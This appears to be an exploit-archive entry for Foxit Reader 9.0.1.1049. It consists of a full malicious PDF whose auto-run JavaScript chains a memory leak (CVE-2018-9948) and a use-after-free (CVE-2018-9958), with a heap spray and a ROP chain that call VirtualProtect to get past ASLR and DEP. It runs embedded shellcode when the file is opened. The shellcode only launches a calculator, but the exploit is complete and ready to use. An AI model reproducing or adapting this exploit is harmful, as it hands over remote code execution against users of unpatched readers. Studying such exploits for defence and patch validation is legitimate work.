Foxit Reader 9.0.1.1049 – Buffer Overflow (ASLR & DEP Bypass)
%PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( /* # Exploit Title: Foxit Reader 9.0.1.1049 - Buffer Overflow (ASLR)(DEP) # Date: 2018-08-04 # Exploit Author: Manoj Ahuje # Tested on: Windows 7 Pro (x32) # Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English # Version: Foxit Reader 9.0.1.1049 # CVE: N/A # Credits to "Mr_Me" for Reseach and initial exploit #Details: #This exploit make use heap space to store the shellcode in addition to UAF bypassing ASLR and DEP to get successful payload execution */ var heap_ptr = 0; var foxit_base = 0; function heap_spray(size){ var arr = new Array(size); for (var i = 0; i < arr.length; i++) { // re-claim and stack pivot-0x8 arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8 var claimed = new Int32Array(arr[i]); var c_length = claimed.length; /* custom made ROP chain virtualalloc call Author: Manoj Ahuje */ claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN claimed[0x01] = foxit_base + 0x01A65184; claimed[0x02] = foxit_base + 0x01A65184; claimed[0x03] = foxit_base + 0x01A65184; claimed[0x04] = foxit_base + 0x14f9195; // # POP EBX # RETN claimed[0x05] = foxit_base + 0x41414141; // claimed[0x06] = foxit_base + 0x1f224fc; // # ptr to &VirtualProtect() claimed[0x07] = foxit_base + 0x0e70281; // # MOV ESI,DWORD PTR DS:[EBX] # RETN claimed[0x08] = foxit_base + 0x1582698; // # POP EBP # RETN claimed[0x09] = foxit_base + 0xa0dbd; // # & jmp esp claimed[0x0a] = foxit_base + 0x14ed06d; // # POP EBX # RETN claimed[0x0b] = 0x00000201; // # 0x00000201-> ebx claimed[0x0c] = foxit_base + 0x1e62f7e; // # POP EDX # RETN claimed[0x0d] = 0x00000040; // # 0x00000040-> edx claimed[0x0e] = foxit_base + 0x1ec06a9; // # POP ECX # RETN claimed[0x0f] = foxit_base + 0x29bac74; // # &Writable location claimed[0x10] = foxit_base + 0xb971f; // # POP EDI # RETN claimed[0x11] = foxit_base + 0x177769e; // # RETN (ROP NOP) claimed[0x12] = foxit_base + 0x1A89808; // # POP EAX # RETN claimed[0x13] = 0x90909090; // # nop claimed[0x14] = foxit_base + 0x129d4f0; // # PUSHAD # RETN claimed[0x15] = 0x90909090; claimed[0x16] = 0x90909090; claimed[0x17] = 0x90909090; claimed[0x18] = 0x90909090; claimed[0x19] = 0x90909090; claimed[0x1a] = 0x90909090; //regular CALCULATOR shellcode claimed[0x1b] = 0xe5d9e389; claimed[0x1c] = 0x5af473d9; claimed[0x1d] = 0x4a4a4a4a; claimed[0x1e] = 0x4a4a4a4a; claimed[0x1f] = 0x434a4a4a; claimed[0x20] = 0x43434343; claimed[0x21] = 0x59523743; claimed[0x22] = 0x5058416a; claimed[0x23] = 0x41304130; claimed[0x24] = 0x5141416b; claimed[0x25] = 0x32424132; claimed[0x26] = 0x42304242; claimed[0x27] = 0x58424142; claimed[0x28] = 0x42413850; claimed[0x29] = 0x49494a75; claimed[0x2a] = 0x4e586b6c; claimed[0x2b] = 0x57306362; claimed[0x2c] = 0x53707770; claimed[0x2d] = 0x6b696e50; claimed[0x2e] = 0x39716455; claimed[0x2f] = 0x6e645050; claimed[0x30] = 0x6470426b; claimed[0x31] = 0x434b6c70; claimed[0x32] = 0x6e6c3662; claimed[0x33] = 0x7562436b; claimed[0x34] = 0x526b6e44; claimed[0x35] = 0x46686452; claimed[0x36] = 0x5037386f; claimed[0x37] = 0x6446764a; claimed[0x38] = 0x4e4f4b71; claimed[0x39] = 0x354c774c; claimed[0x3a] = 0x776c6131; claimed[0x3b] = 0x374c7672; claimed[0x3c] = 0x5a614a50; claimed[0x3d] = 0x374d746f; claimed[0x3e] = 0x38573971; claimed[0x3f] = 0x30525a62; claimed[0x40] = 0x6e376652; claimed[0x41] = 0x6252506b; claimed[0x42] = 0x624b6c30; claimed[0x43] = 0x6c4c576a; claimed[0x44] = 0x476c524b; claimed[0x45] = 0x6d387461; claimed[0x46] = 0x43587133; claimed[0x47] = 0x50513831; claimed[0x48] = 0x334b6c51; claimed[0x49] = 0x35506769; claimed[0x4a] = 0x6e534851; claimed[0x4b] = 0x7539576b; claimed[0x4c] = 0x54736948; claimed[0x4d] = 0x4e79637a; claimed[0x4e] = 0x6c64356b; claimed[0x4f] = 0x6a51354b; claimed[0x50] = 0x39514676; claimed[0x51] = 0x6f4c6e6f; claimed[0x52] = 0x444f4831; claimed[0x53] = 0x4861364d; claimed[0x54] = 0x6b783447; claimed[0x55] = 0x69357450; claimed[0x56] = 0x73337366; claimed[0x57] = 0x5568494d; claimed[0x58] = 0x474d436b; claimed[0x59] = 0x68357454; claimed[0x5a] = 0x4e686364; claimed[0x5b] = 0x6638466b; claimed[0x5c] = 0x59313344; claimed[0x5d] = 0x6c766143; claimed[0x5e] = 0x506c664b; claimed[0x5f] = 0x504b4c4b; claimed[0x60] = 0x656c4758; claimed[0x61] = 0x6c436951; claimed[0x62] = 0x6e34634b; claimed[0x63] = 0x6831436b; claimed[0x64] = 0x61694e50; claimed[0x65] = 0x65746554; claimed[0x66] = 0x514b5174; claimed[0x67] = 0x7351734b; claimed[0x68] = 0x427a6269; claimed[0x69] = 0x396f6971; claimed[0x6a] = 0x734f5170; claimed[0x6b] = 0x4e6a436f; claimed[0x6c] = 0x7832526b; claimed[0x6d] = 0x316d4e6b; claimed[0x6e] = 0x675a534d; claimed[0x6f] = 0x4f4d6c71; claimed[0x70] = 0x57324875; claimed[0x71] = 0x43707770; claimed[0x72] = 0x61306630; claimed[0x73] = 0x6e514678; claimed[0x74] = 0x6e6f706b; claimed[0x75] = 0x6b6f5967; claimed[0x76] = 0x784b4f65; claimed[0x77] = 0x39656d70; claimed[0x78] = 0x73565032; claimed[0x79] = 0x6c666c58; claimed[0x7a] = 0x6d6d4d55; claimed[0x7b] = 0x496f494d; claimed[0x7c] = 0x456c6545; claimed[0x7d] = 0x454c7356; claimed[0x7e] = 0x6b306b5a; claimed[0x7f] = 0x5370394b; claimed[0x80] = 0x4d453445; claimed[0x81] = 0x6567426b; claimed[0x82] = 0x70426343; claimed[0x83] = 0x376a506f; claimed[0x84] = 0x6b336670; claimed[0x85] = 0x3045694f; claimed[0x86] = 0x72313563; claimed[0x87] = 0x7633654c; claimed[0x88] = 0x4235754e; claimed[0x89] = 0x67354558; claimed[0x8a] = 0x00414170; for (var j = 0x8b; j < c_length; j++) { claimed[j] = 0x6d616e6a; } } } function leak(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found By: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vftable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked-0x01f50000; } function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = 0x11000048; for (var j = 0x01; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found By: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); a.point = arr; } leak(); heap_spray(0x1000); trigger_uaf(); )>> trailer <</Root 1 0 R>> |